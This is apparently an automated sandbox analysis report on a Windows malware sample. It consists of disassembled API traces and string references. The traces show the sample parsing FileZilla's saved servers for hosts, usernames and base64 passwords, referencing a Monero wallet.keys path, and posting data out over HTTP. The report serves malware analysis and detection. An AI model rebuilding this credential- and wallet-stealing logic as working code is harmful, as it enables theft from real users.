Part of subcall function 007775D0: lstrcat.KERNEL32(35AA1020, : ), ref: 0077765A
Part of subcall function 007775D0: lstrcat.KERNEL32(35AA1020,00000000), ref: 0077768F
Part of subcall function 007775D0: lstrcat.KERNEL32(35AA1020,00791804), ref: 007776A0
Part of subcall function 007775D0: lstrcat.KERNEL32(35AA1020,00000000), ref: 007776D3
Part of subcall function 007775D0: lstrcat.KERNEL32(35AA1020,00791808), ref: 007776ED
Part of subcall function 007775D0: task.LIBCPMTD ref: 007776FB

lstrcat.KERNEL32(?,014BE4C0), ref: 00777E0B
lstrcat.KERNEL32(?,014BD418), ref: 00777E1E
lstrlen.KERNEL32(35AA1020), ref: 00777E2B
lstrlen.KERNEL32(35AA1020), ref: 00777E3B

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Strings

ogle.com.google.com *.mn 1.google.com.google.com *.lb 1.google.com.google.com *.es 1.google.com.google.com *.org 1.google.com.google.com *.uk 1.google.com.google.com *.ug 1.google.com.google.com<br, xrefs: 0077771D

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Heaplstrlen$AllocateProcesslstrcpytask
String ID: ogle.com.google.com *.mn 1.google.com.google.com *.lb 1.google.com.google.com *.es 1.google.com.google.com *.org 1.google.com.google.com *.uk 1.google.com.google.com *.ug 1.google.com.google.com<br
API String ID: 928082926-1474879917
Opcode ID: c6808691d19ff6f1b3385c98444c3539583f707ba83995ca51e7d80f0bf7000e
Instruction ID: dd3c3a3d26858843429f6d5decb7cafffae2eba94575410ce68dee667d1b0b48
Opcode Fuzzy Hash: c6808691d19ff6f1b3385c98444c3539583f707ba83995ca51e7d80f0bf7000e
Instruction Fuzzy Hash: 083210B2D14314ABCB55EBA0DC89DEA737CBB44710F444A98F21D62090EE78EB85DF52

Function 00780250 Relevance: 68.6, APIs: 29, Strings: 10, Instructions: 366
stringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 00788DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00788E0B

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 007799C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 007799EC
Part of subcall function 007799C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 00779A11
Part of subcall function 007799C0: LocalAlloc.KERNEL32(00000040,?), ref: 00779A31
Part of subcall function 007799C0: ReadFile.KERNEL32(000000FF,?,00000000,0077148F,00000000), ref: 00779A5A
Part of subcall function 007799C0: LocalFree.KERNEL32(0077148F), ref: 00779A90
Part of subcall function 007799C0: CloseHandle.KERNEL32(000000FF), ref: 00779A9A

Part of subcall function 00788E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 00788E52

GetProcessHeap.KERNEL32(00000000,000F423F,00790DBA,00790DB7,00790DB6,00790DB3), ref: 00780362
RtlAllocateHeap.NTDLL(00000000), ref: 00780369
StrStrA.SHLWAPI(00000000,<Host>), ref: 00780385
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00790DB2), ref: 00780393
StrStrA.SHLWAPI(00000000,<Port>), ref: 007803CF
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00790DB2), ref: 007803DD
StrStrA.SHLWAPI(00000000,<User>), ref: 00780419
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00790DB2), ref: 00780427
StrStrA.SHLWAPI(00000000,<Pass encoding="base64">), ref: 00780463
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00790DB2), ref: 00780475
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00790DB2), ref: 00780502
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00790DB2), ref: 0078051A
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00790DB2), ref: 00780532
lstrlen.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00790DB2), ref: 0078054A
lstrcat.KERNEL32(?,browser: FileZilla), ref: 00780562
lstrcat.KERNEL32(?,profile: null), ref: 00780571
lstrcat.KERNEL32(?,url: ), ref: 00780580
lstrcat.KERNEL32(?,00000000), ref: 00780593
lstrcat.KERNEL32(?,00791678), ref: 007805A2
lstrcat.KERNEL32(?,00000000), ref: 007805B5
lstrcat.KERNEL32(?,0079167C), ref: 007805C4
lstrcat.KERNEL32(?,login: ), ref: 007805D3
lstrcat.KERNEL32(?,00000000), ref: 007805E6
lstrcat.KERNEL32(?,00791688), ref: 007805F5
lstrcat.KERNEL32(?,password: ), ref: 00780604
lstrcat.KERNEL32(?,00000000), ref: 00780617
lstrcat.KERNEL32(?,00791698), ref: 00780626
lstrcat.KERNEL32(?,0079169C), ref: 00780635
lstrlen.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00790DB2), ref: 0078068E

Strings

<Port>, xrefs: 007803C6
password: , xrefs: 007805FB
\AppData\Roaming\FileZilla\recentservers.xml, xrefs: 007802A4
browser: FileZilla, xrefs: 00780559
login: , xrefs: 007805CA
url: , xrefs: 00780577
<Pass encoding="base64">, xrefs: 0078045A
profile: null, xrefs: 00780568
<User>, xrefs: 00780410
<Host>, xrefs: 0078037C

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrlen$lstrcpy$FileLocal$AllocHeap$AllocateCloseCreateFolderFreeHandlePathProcessReadSize
String ID: <Host>$<Pass encoding="base64">$<Port>$<User>$\AppData\Roaming\FileZilla\recentservers.xml$browser: FileZilla$login: $password: $profile: null$url:
API String ID: 1942843190-555421843
Opcode ID: 1e7a888224c063b358cfa3f24d2bcb6af7584451c982addbc33b016c8a68d446
Instruction ID: acb4a7a9ef09979863e610eea5df37b694550036a278617612cf7335a4c5d14e
Opcode Fuzzy Hash: 1e7a888224c063b358cfa3f24d2bcb6af7584451c982addbc33b016c8a68d446
Instruction Fuzzy Hash: CBD10E71D50108EBDB04FBF4DD9AEEE7378AF54310F508519F102A6091EE7CAA0ADB62

Function 00775100 Relevance: 47.8, APIs: 19, Strings: 8, Instructions: 572
stringnetworkmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 007747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00774839
Part of subcall function 007747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00774849

lstrlen.KERNEL32(00000000), ref: 00775193

Part of subcall function 00788EA0: CryptBinaryToStringA.CRYPT32(00000000,00775184,40000001,00000000,00000000,?,00775184), ref: 00788EC0

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 00775207
StrCmpCA.SHLWAPI(?,014BE480), ref: 00775225
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00775340
HttpOpenRequestA.WININET(00000000,014BE470,?,014BD8C8,00000000,00000000,00400100,00000000), ref: 007753A4

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

lstrlen.KERNEL32(00000000,00000000,?,",00000000,?,014BE4F0,00000000,?,014B9AB8,00000000,?,007919DC,00000000,?,007851CF), ref: 00775737
lstrlen.KERNEL32(00000000), ref: 0077574B
GetProcessHeap.KERNEL32(00000000,?), ref: 0077575C
RtlAllocateHeap.NTDLL(00000000), ref: 00775763
lstrlen.KERNEL32(00000000), ref: 00775778
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007757A9
lstrlen.KERNEL32(00000000), ref: 007757C8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 007757E1
lstrlen.KERNEL32(00000000,?,?), ref: 0077580E
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00775822
InternetReadFile.WININET(00000000,?,000007CF,?), ref: 0077584D
InternetCloseHandle.WININET(00000000), ref: 007758B1
InternetCloseHandle.WININET(00000000), ref: 007758BE
InternetCloseHandle.WININET(00000000), ref: 007758C8

Strings

", xrefs: 007755C4
------, xrefs: 007753B7
------, xrefs: 0077563B
------, xrefs: 00775297
--, xrefs: 00775280
------, xrefs: 007754F9
", xrefs: 00775482
", xrefs: 00775706

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateBinaryConnectCrackCryptFileProcessReadSendString
String ID: ------$"$"$"$--$------$------$------
API String ID: 1224485577-2774362122
Opcode ID: 611e0abc270276f01146b487a12ec0c7792a189e8d539b8db90f7370a87c7599
Instruction ID: 3ada6af9c6c7a77afffd35ad80beb8d8c89df2d5215c5c51ef7ea3cacad9e94a
Opcode Fuzzy Hash: 611e0abc270276f01146b487a12ec0c7792a189e8d539b8db90f7370a87c7599
Instruction Fuzzy Hash: 3832CC71960118FAEB15FBA0DD99FEE7378BF54700F4041AAB10662091EF7C6A49CF62

Function 0077A790 Relevance: 39.0, APIs: 21, Strings: 1, Instructions: 539
stringmemoryfileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078AA70: StrCmpCA.SHLWAPI(014B8B40,0077A7A7,?,0077A7A7,014B8B40), ref: 0078AA8F

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0077AAC8
RtlAllocateHeap.NTDLL(00000000), ref: 0077AACF
StrCmpCA.SHLWAPI(00000000,ERROR_RUN_EXTRACTOR), ref: 0077ABE2
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 0077A8B0

Part of subcall function 0078A820: lstrlen.KERNEL32(00774F05,?,?,00774F05,00790DDE), ref: 0078A82B
Part of subcall function 0078A820: lstrcpy.KERNEL32(00790DDE,00000000), ref: 0078A885

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

lstrcat.KERNEL32(?,00000000), ref: 0077ACEB
lstrcat.KERNEL32(?,00791320), ref: 0077ACFA
lstrcat.KERNEL32(?,00000000), ref: 0077AD0D
lstrcat.KERNEL32(?,00791324), ref: 0077AD1C
lstrcat.KERNEL32(?,00000000), ref: 0077AD2F
lstrcat.KERNEL32(?,00791328), ref: 0077AD3E
lstrcat.KERNEL32(?,00000000), ref: 0077AD51
lstrcat.KERNEL32(?,0079132C), ref: 0077AD60
lstrcat.KERNEL32(?,00000000), ref: 0077AD73
lstrcat.KERNEL32(?,00791330), ref: 0077AD82
lstrcat.KERNEL32(?,00000000), ref: 0077AD95
lstrcat.KERNEL32(?,00791334), ref: 0077ADA4
lstrcat.KERNEL32(?,00000000), ref: 0077ADB7
lstrlen.KERNEL32(?), ref: 0077AE0D
lstrlen.KERNEL32(?), ref: 0077AE1C

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

DeleteFileA.KERNEL32(00000000), ref: 0077AE97

Strings

ERROR_RUN_EXTRACTOR, xrefs: 0077ABD4

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$lstrcpy$lstrlen$FileHeap$AllocateCopyDeleteProcess
String ID: ERROR_RUN_EXTRACTOR
API String ID: 4157063783-2709115261
Opcode ID: be938122e96053b38e3ccf013da1bcf494f566a31921455c79c3eb892d6cbfe7
Instruction ID: 4b1d5a438b5f8835f037d2c8dcef73ca27e03b166308cfe32adb4de2f306bcfe
Opcode Fuzzy Hash: be938122e96053b38e3ccf013da1bcf494f566a31921455c79c3eb892d6cbfe7
Instruction Fuzzy Hash: 1E12ED71950108FBEB09FBA0DD9AEEE7378AF54301F504169F506A6091DE3C6E0ADB72

Function 00775960 Relevance: 39.0, APIs: 17, Strings: 5, Instructions: 495
networkstringmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0078A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0078A7E6

Part of subcall function 007747B0: lstrlen.KERNEL32(00000000,00000000,0000003C), ref: 00774839
Part of subcall function 007747B0: InternetCrackUrlA.WININET(00000000,00000000), ref: 00774849

Part of subcall function 0078A740: lstrcpy.KERNEL32(00790E17,00000000), ref: 0078A788

InternetOpenA.WININET(00000000,00000001,00000000,00000000,00000000), ref: 007759F8
StrCmpCA.SHLWAPI(?,014BE480), ref: 00775A13
InternetConnectA.WININET(00000000,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00775B93
lstrlen.KERNEL32(00000000,00000000,?,00000000,00000000,?,",00000000,?,014BE500,00000000,?,014B9AB8,00000000,?,00791A1C), ref: 00775E71
lstrlen.KERNEL32(00000000), ref: 00775E82
GetProcessHeap.KERNEL32(00000000,?), ref: 00775E93
RtlAllocateHeap.NTDLL(00000000), ref: 00775E9A
lstrlen.KERNEL32(00000000), ref: 00775EAF
lstrlen.KERNEL32(00000000), ref: 00775ED8
lstrlen.KERNEL32(00000000,00000000,00000000), ref: 00775EF1
lstrlen.KERNEL32(00000000,?,?), ref: 00775F1B
HttpSendRequestA.WININET(00000000,00000000,00000000), ref: 00775F2F
InternetReadFile.WININET(00000000,?,000000C7,?), ref: 00775F4C
InternetCloseHandle.WININET(00000000), ref: 00775FB0
InternetCloseHandle.WININET(00000000), ref: 00775FBD
HttpOpenRequestA.WININET(00000000,014BE470,?,014BD8C8,00000000,00000000,00400100,00000000), ref: 00775BF8

Part of subcall function 0078A9B0: lstrlen.KERNEL32(?,014B8840,?,\Monero\wallet.keys,00790E17), ref: 0078A9C5
Part of subcall function 0078A9B0: lstrcpy.KERNEL32(00000000), ref: 0078AA04
Part of subcall function 0078A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0078AA12

Part of subcall function 0078A8A0: lstrcpy.KERNEL32(?,00790E17), ref: 0078A905

Part of subcall function 0078A920: lstrcpy.KERNEL32(00000000,?), ref: 0078A972
Part of subcall function 0078A920: lstrcat.KERNEL32(00000000), ref: 0078A982

InternetCloseHandle.WININET(00000000), ref: 00775FC7

Strings

------, xrefs: 00775A96
------, xrefs: 00775C0B
", xrefs: 00775CD5
", xrefs: 00775E16
------, xrefs: 00775D4C

Memory Dump Source

Source File: 00000000.00000002.2425909917.0000000000771000.00000040.00000001.01000000.00000003.sdmp, Offset: 00770000, based on PE: true

Associated: 00000000.00000002.2425883761.0000000000770000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.00000000007FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000802000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000821000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000082D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000852000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000085F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000087F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000088E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000915000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.0000000000935000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2425909917.000000000093B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.00000000009CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426353441.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426660975.0000000000C73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426783793.0000000000E12000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2426805340.0000000000E13000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_770000_file.jbxd

Yara matches

Similarity

API ID: lstrlen$Internet$lstrcpy$CloseHandle$HeapHttpOpenRequestlstrcat$AllocateConnectCrackFileProcessReadSend
String ID: "$"$------$------$------
API String ID: 874700897-2180234286
